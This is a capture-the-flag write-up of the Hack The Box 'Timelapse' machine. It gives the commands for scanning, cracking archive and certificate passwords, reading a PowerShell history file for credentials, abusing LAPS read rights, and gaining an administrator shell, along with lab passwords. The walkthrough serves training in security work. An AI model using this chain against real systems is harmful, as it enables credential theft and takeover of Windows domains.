HTB: Timelapse

Hello everyone. Today we will look at the technical solution of the easy level Timelapse machine from HTB.

Machine link: https://app.hackthebox.com/machines/Timelapse

Enumeration:

Nmap scan:

nmap -sCV -p- -T4 --min-rate 10000 10.129.2.236  -oN nmap_result
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-24 07:42 -0400
Nmap scan report for 10.129.2.236
Host is up (0.11s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT      STATE SERVICE           VERSION
53/tcp    open  domain            Simple DNS Plus
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2026-05-24 19:43:18Z)
135/tcp   open  msrpc             Microsoft Windows RPC
139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ldapssl?
3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb, Site: Default-First-Site-Name)
3269/tcp  open  globalcatLDAPssl?
5986/tcp  open  ssl/wsmans?
|_ssl-date: 2026-05-24T19:44:55+00:00; +7h59m59s from scanner time.
| tls-alpn: 
|   h2
|_  http/1.1
| ssl-cert: Subject: commonName=dc01.timelapse.htb
| Not valid before: 2021-10-25T14:05:29
|_Not valid after:  2022-10-25T14:25:29
9389/tcp  open  mc-nmf            .NET Message Framing
49667/tcp open  msrpc             Microsoft Windows RPC
49673/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc             Microsoft Windows RPC
49697/tcp open  msrpc             Microsoft Windows RPC
54205/tcp open  msrpc             Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7h59m58s, deviation: 0s, median: 7h59m57s
| smb2-time: 
|   date: 2026-05-24T19:44:19
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 130.69 seconds

As a result of the nmap scan, we can see that the domain is timelapse.htb. Therefore, let’s update the hosts file.

First, let’s look at smb share permissions as Guest.

We have read permission to the non-default “Shares” share, so let’s connect with smbclient:

Shares

Dev folder

HelpDesk

I downloaded all the files to Kali. There was nothing useful in the word documents and the msi package. The zip file was password protected.

Therefore, we extract the hash format that john can digest with zip2john and then brute force it with john.

When unzipping, we encounter a certificate file named legacyy_dev_auth.pfx.

NOTE: Unlike normal certificates, the pfx file contains both a public key and a private key.

If we extract both files, we can connect with WinRM without a password. But it is still password protected. Let’s use pfx2john to get the hash of the file that can be cracked with john.

Obtaining the private key:

openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes

Obtaining the public key:

openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out cert.pem

Now that we have both keys, we can connect with evil-winrm.

evil-winrm -i timelapse.htb  -c cert.pem -k key.pem -S

legacyy

If you look at that user’s powershell history, you can find the password for the svc_deploy user there.

type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

svc_deploy’s password

Now that we know the svc_deploy user and its password, we can map the domain with bloodhound and see what risky permissions we have on the svc_deploy user.

After importing the zip file into bloodhound, search for and select the svc_deploy user, then click once to view the user information in the window that opens on the left.

Below, in the Outbound object control section, we can see that the Group Delegated Object Control value is 1. This is encouraging.

We can see in the image above that the svc_deploy user is a member of the LAPS_READERS group. This group has the ReadLAPSPassword permission on the DC.This means we can read the local administrator’s password.

NOTE: LAPS (Local Administrator Password Solution) is a Microsoft tool that centrally, automatically, and securely manages the passwords of local Administrator accounts on all computers in an Active Directory (AD) environment.

Privilege Escalation

You can use the **pyLAPS **tool to extract the password from LAPS.

./pyLAPS.py --action get -u 'svc_deploy' -d 'timelaps.htb' -p 'E3R$Q62^12p7PLlC%KWaxuaV' --dc-ip 10.129.2.236

We can now connect to the DC as an administrator.

impacket-psexec timelapse.htb/Administrator:'9Q9%6]0NqU65v&g-bg-l7to2'@10.129.2.236

Pwn3d

Thank you for reading. If I make any mistakes, please let me know. See you in the next articles.